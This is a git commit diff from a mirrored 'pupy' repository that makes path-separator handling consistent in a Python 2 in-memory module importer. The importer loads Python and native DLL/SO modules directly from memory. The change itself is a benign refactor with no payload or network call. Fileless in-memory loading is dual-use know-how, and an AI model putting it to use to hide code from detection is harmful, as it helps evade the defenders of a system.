mirror of https://github.com/n1nj4sec/pupy.git
Use same separator everywhere
This commit is contained in:
parent
1ce4af01f3
commit
f239180818
|
@ -18,9 +18,9 @@
|
||||||
#
|
#
|
||||||
import sys, imp, zlib, marshal
|
import sys, imp, zlib, marshal
|
||||||
|
|
||||||
sep = '\\'
|
sep = '/'
|
||||||
if 'linux' in sys.platform:
|
if 'win' in sys.platform:
|
||||||
sep = '/'
|
sep = '\\'
|
||||||
|
|
||||||
builtin_memimporter=False
|
builtin_memimporter=False
|
||||||
try:
|
try:
|
||||||
|
@ -41,10 +41,10 @@ except ImportError:
|
||||||
def get_module_files(fullname):
|
def get_module_files(fullname):
|
||||||
""" return the file to load """
|
""" return the file to load """
|
||||||
global modules
|
global modules
|
||||||
f=fullname.replace(".","/")
|
f=fullname.replace(".",sep)
|
||||||
files=[]
|
files=[]
|
||||||
for x in modules.iterkeys():
|
for x in modules.iterkeys():
|
||||||
if x.rsplit(".",1)[0]==f or f+"/__init__.py"==x or f+"/__init__.pyc"==x or f+"/__init__.pyo"==x:
|
if x.rsplit(".",1)[0]==f or f+sep+"__init__.py"==x or f+sep+"__init__.pyc"==x or f+sep+"__init__.pyo"==x:
|
||||||
files.append(x)
|
files.append(x)
|
||||||
return files
|
return files
|
||||||
|
|
||||||
|
@ -74,7 +74,7 @@ class PupyPackageLoader:
|
||||||
if self.extension=="py":
|
if self.extension=="py":
|
||||||
mod = imp.new_module(fullname)
|
mod = imp.new_module(fullname)
|
||||||
mod.__name__ = fullname
|
mod.__name__ = fullname
|
||||||
mod.__file__ = ("<memimport>/%s" % self.path).replace("/",sep)
|
mod.__file__ = '<memimport>{}{}'.format(sep, self.path)
|
||||||
mod.__loader__ = self
|
mod.__loader__ = self
|
||||||
if self.is_pkg:
|
if self.is_pkg:
|
||||||
mod.__path__ = [mod.__file__.rsplit(sep,1)[0]]
|
mod.__path__ = [mod.__file__.rsplit(sep,1)[0]]
|
||||||
|
@ -87,7 +87,7 @@ class PupyPackageLoader:
|
||||||
elif self.extension in ["pyc","pyo"]:
|
elif self.extension in ["pyc","pyo"]:
|
||||||
mod = imp.new_module(fullname)
|
mod = imp.new_module(fullname)
|
||||||
mod.__name__ = fullname
|
mod.__name__ = fullname
|
||||||
mod.__file__ = ("<memimport>/%s" % self.path).replace("/",sep)
|
mod.__file__ = '<memimport>{}{}'.format(sep, self.path)
|
||||||
mod.__loader__ = self
|
mod.__loader__ = self
|
||||||
if self.is_pkg:
|
if self.is_pkg:
|
||||||
mod.__path__ = [mod.__file__.rsplit(sep,1)[0]]
|
mod.__path__ = [mod.__file__.rsplit(sep,1)[0]]
|
||||||
|
@ -99,12 +99,12 @@ class PupyPackageLoader:
|
||||||
exec c in mod.__dict__
|
exec c in mod.__dict__
|
||||||
elif self.extension in ("dll","pyd","so"):
|
elif self.extension in ("dll","pyd","so"):
|
||||||
initname = "init" + fullname.rsplit(".",1)[-1]
|
initname = "init" + fullname.rsplit(".",1)[-1]
|
||||||
path=fullname.replace(".","/")+"."+self.extension
|
path=fullname.replace(".",sep)+"."+self.extension
|
||||||
#print "Loading %s from memory"%fullname
|
#print "Loading %s from memory"%fullname
|
||||||
#print "init:%s, %s.%s"%(initname,fullname,self.extension)
|
#print "init:%s, %s.%s"%(initname,fullname,self.extension)
|
||||||
mod = _memimporter.import_module(self.contents, initname, fullname, path)
|
mod = _memimporter.import_module(self.contents, initname, fullname, path)
|
||||||
mod.__name__=fullname
|
mod.__name__=fullname
|
||||||
mod.__file__ = ("<memimport>/%s" % self.path).replace("/",sep)
|
mod.__file__ = '<memimport>{}{}'.format(sep, self.path)
|
||||||
mod.__loader__ = self
|
mod.__loader__ = self
|
||||||
mod.__package__ = fullname.rsplit('.',1)[0]
|
mod.__package__ = fullname.rsplit('.',1)[0]
|
||||||
sys.modules[fullname]=mod
|
sys.modules[fullname]=mod
|
||||||
|
@ -144,7 +144,7 @@ class PupyPackageFinder:
|
||||||
return None
|
return None
|
||||||
selected=None
|
selected=None
|
||||||
for f in files:
|
for f in files:
|
||||||
if f.endswith("/__init__.pyc") or f.endswith("/__init__.py") or f.endswith("/__init__.pyo"):
|
if f.endswith(sep+"__init__.pyc") or f.endswith(sep+"__init__.py") or f.endswith(sep+"__init__.pyo"):
|
||||||
selected=f # we select packages in priority
|
selected=f # we select packages in priority
|
||||||
if not selected:
|
if not selected:
|
||||||
for f in files:
|
for f in files:
|
||||||
|
@ -161,7 +161,7 @@ class PupyPackageFinder:
|
||||||
content=self.modules[selected]
|
content=self.modules[selected]
|
||||||
extension=selected.rsplit(".",1)[1].strip().lower()
|
extension=selected.rsplit(".",1)[1].strip().lower()
|
||||||
is_pkg=False
|
is_pkg=False
|
||||||
if selected.endswith("/__init__.py") or selected.endswith("/__init__.pyc") or selected.endswith("/__init__.pyo"):
|
if selected.endswith(sep+"__init__.py") or selected.endswith(sep+"__init__.pyc") or selected.endswith(sep+"__init__.pyo"):
|
||||||
is_pkg=True
|
is_pkg=True
|
||||||
#print "--> Loading %s(%s).%s is_package:%s"%(fullname,selected,extension, is_pkg)
|
#print "--> Loading %s(%s).%s is_package:%s"%(fullname,selected,extension, is_pkg)
|
||||||
return PupyPackageLoader(fullname, content, extension, is_pkg, selected)
|
return PupyPackageLoader(fullname, content, extension, is_pkg, selected)
|
||||||
|
|
Loading…
Reference in New Issue